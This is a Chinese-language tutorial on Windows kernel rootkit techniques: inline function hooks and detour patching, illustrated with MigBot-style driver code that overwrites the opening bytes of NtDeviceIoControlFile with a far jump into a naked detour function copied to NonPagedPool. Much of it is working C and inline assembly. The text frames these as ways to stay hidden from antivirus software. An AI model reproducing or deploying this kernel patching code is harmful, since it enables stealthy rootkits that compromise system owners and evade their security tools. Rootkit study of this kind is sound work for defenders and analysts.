下面介绍一下内联函数钩子。这种钩子远比IAT钩子强大,并不存在与Dll绑定时间相关的问题。在实现内联函数钩子时,rootkit实际上是重写了目标函数的代码字节,因此不管应用程序如何或者何时解析函数地址,都能够钩住函数。该方法在内核或用户空间都可以使用,但更常见于用户空间。
通常实现的内联函数钩子时会保存钩子要重写的目标函数的多个起始字节。保存了原始字之后,常常在目标函数的前5个字节中放置一个立即跳转指令。该跳转指向rootkit钩子。然后钩子可以使用保存的重写目标函数字节来调用原始函数。通过这种方法,原始函数将执行控制权返回给rookit钩子。然后钩子可以使用保存的重写目标函数字节来调用原始函数,通过这种方法,函数将执行的控制权返回给rootkit钩子。此时钩子能够更改由原始函数返回的数据。
最容易安放内联钩子的位置是在函数的前5个字节内。有两个原因,首先是因为大多数函数在内存中的结构。Win32 API中大部分函数都具有相同的起始格式,称为前同步码(preamble)。x86体系结构中rootkit的无条件跳转指令通常需要5个字节,第一个是jmp操作码,其余四个字节是钩子地址。
来介绍detour补丁。反病毒软件可以检测到修改IAT调用表,解决此问题的一个妙招是通过将一个跳转指令插入rootkit代码,在函数自身中对数据字节打补丁。另外,只修改单个函数就能够影响到指向该函数的多个表,而无需对指向该函数的所有表加以记录。该技术称为detour补丁,可用于对函数的控制流程进行重定路径。
和调用钩子一样,在系统调用或函数调用之前和之后,可以插入rootkit代码来修改参数。也可以进行原始的函数调用,如同它从未被打过补丁一样。最后,完全重写函数调用的逻辑,可以使得调用总返回某个错误代码。
来看一个示例,首先看两个重要的内核函数NtDeviceIoControlFile和SeAccesssCheck
ZwDeviceIoControlFile函数的作用是直接向一个特定的设备驱动发送一个control code,引起相关驱动执行特定的操作。
SeAccessCheck决定了是否一个安全对象能够得到这个安全的属性保护。
对函数进行重定位路径首先需要在内存中找到该函数,上述两个函数的优点在于它们是导出的,这使得它们易于定位,因为可以在PE头部的一个表中执行查询来找到它们。MigBot的代码只需要通过函数的导出名来引用这些函数。因为它们是导出的,所以无需搜索PE头部。
对于非导出的函数要复杂一些,这可能需要在内存中搜索唯一的字节序列来找到所期望的函数。得到函数指针后,接下来需要获知将要重写的内容。修改内存中的操作码是破坏性的操作。若要安装一个段间跳转指令,则要重写至少7个字节,因此,若只对7个字节打补丁,最终会留下上一条被重写指令的部分内容,指令碎屑(crumb)。当CPU试图执行者一条指令时,可能会导致系统崩溃,蓝屏死机。
由于处理器会错误的解释一条残缺的指令,从而导致代码崩溃,因此需要将残留的任何碎屑通过NOP处理掉,即必须写到最近对齐的指令边界。NOP只有一个字节指令,使用起来十分方便。NOP的机器码是90.
为了确保跳转后的函数是我们所期望的,所以要对函数进行校验,示例程序MigBot通过两个步骤检查函数的字节,第一步获取函数的指针,第二步与在该处预期的硬编码值进行简单的字节比较。可以通过内核调试器对二进制代码执行反汇编,可以确定该处所包含的字节内容。
应当对重写的指令进行备份,一个好的办法就是将被删除的指令放到rootkit指令后执行,然后再跳转回到原重写的函数。
将rootkit代码编写成为一个函数,该函数声明为“naked”属性,这样能防止了编译器在其中放入任何额外的操作吗,这样可以不破坏堆栈和任何寄存器,做到神不知,鬼不觉。之后要执行消失的代码,并在最后执行一个段间的跳转指令操作。
特别要注意段间跳转编码技术,由于无法使用DDK编译器指出段间跳转指令的语法,所以使用emit关键字来强制字节输出。这种有用的技术不仅可以编码模糊的指令,还可用于修改代码以及插入字符串。
Rootkit函数的代码驻留在驱动程序的内存中,然而它并不必留在此处。尤其当驱动程序是可分页时,需要将rootkit代码转移到永远不分页换出的位置,这就是NonPagedPool内存。两外一个好处是将代码放入NonPagePool中,驱动程序自身可以卸载,只要将rootkit驱动程序加载足够长的时间以便运行补丁。
注意FAR JMP指令,在代码编写时这些指令可能指向无效的地址,在当运行时,这些值将替换为有效的地址,因为无法对他们进行硬编码,当他们运行时会发生变化。
下面是示例的代码,要打补丁的函数是NtDeviceIoControlFile和SeAccessCheck,首先看进行对打补丁函数的校验函数。
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() { int i=0; // 从内存中得到函数的起始地址 char *p = (char *)NtDeviceIoControlFile;
// 原函数机器码和汇编 //The beginning of the NtDeviceIoControlFile function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01 //FF752C PUSH DWORD PTR [EBP + 2C]
char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
while(i<8) { DbgPrint(" - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; }
NTSTATUS CheckFunctionBytesSeAccessCheck() { int i=0; char *p = (char *)SeAccessCheck;
//The beginning of the SeAccessCheck function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //53 PUSH EBX //33DB XOR EBX, EBX //385D24 CMP [EBP+24], BL char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
while(i<9) { DbgPrint(" - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; }
|
VOID DetourFunctionNtDeviceIoControlFile() { char *actual_function = (char *)NtDeviceIoControlFile; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0;
// assembles to jmp far 0008:11223344 where 11223344 is address of // our detour function, plus one NOP to align up the patch char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };
// reenter the hooked function at a location past the overwritten opcodes // alignment is, of course, very important here // 计算重入地址,它是原始函数中补丁位置之后的邻接地址,函数指针+8 reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; // 分配足够大的NonPagedPool以便存储rootkit代码 non_paged_memory = ExAllocatePool(NonPagedPool, 256);
// copy contents of our function into non paged memory // with a cap at 256 bytes (beware of possible read off end of page FIXME) for(i=0;i<256;i++) { ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; }
detour_address = (unsigned long)non_paged_memory;
// stamp in the target address of the far jmp // 将新的地址复制过来 *( (unsigned long *)(&newcode[1]) ) = detour_address;
// now, stamp in the return jmp into our detour // function // 在rootkit代码中搜索0xAAAAAAAA地址,当发现该地址后 // 将其替换为先前计算得到重入地址,即原始函数中补丁位置之后的邻接地址。 for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } }
//TODO, raise IRQL
// 重写原函数的前8个字节,得到一个跳转指令 //overwrite the bytes in the kernel function //to apply the detour jmp for(i=0;i < 8;i++) { actual_function[i] = newcode[i]; }
//TODO, drop IRQL } |
__declspec(naked) my_function_detour_ntdeviceiocontrolfile() { __asm { // 执行原ntdeviceiocontrol函数的前8个字节的代码 // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C]
// jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA // 之前省略了自己需要添加的代码 // 定义一个结束的标志,并跳转回到原函数中 // 此时原函数的代码将全部执行 _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } |
//入口函数 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("My Driver Loaded!");
// TODO!! theDriverObject->DriverUnload = OnUnload;
if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()) { DbgPrint("Match Failure on NtDeviceIoControlFile!"); return STATUS_UNSUCCESSFUL; }
DetourFunctionNtDeviceIoControlFile();
return STATUS_SUCCESS; }
|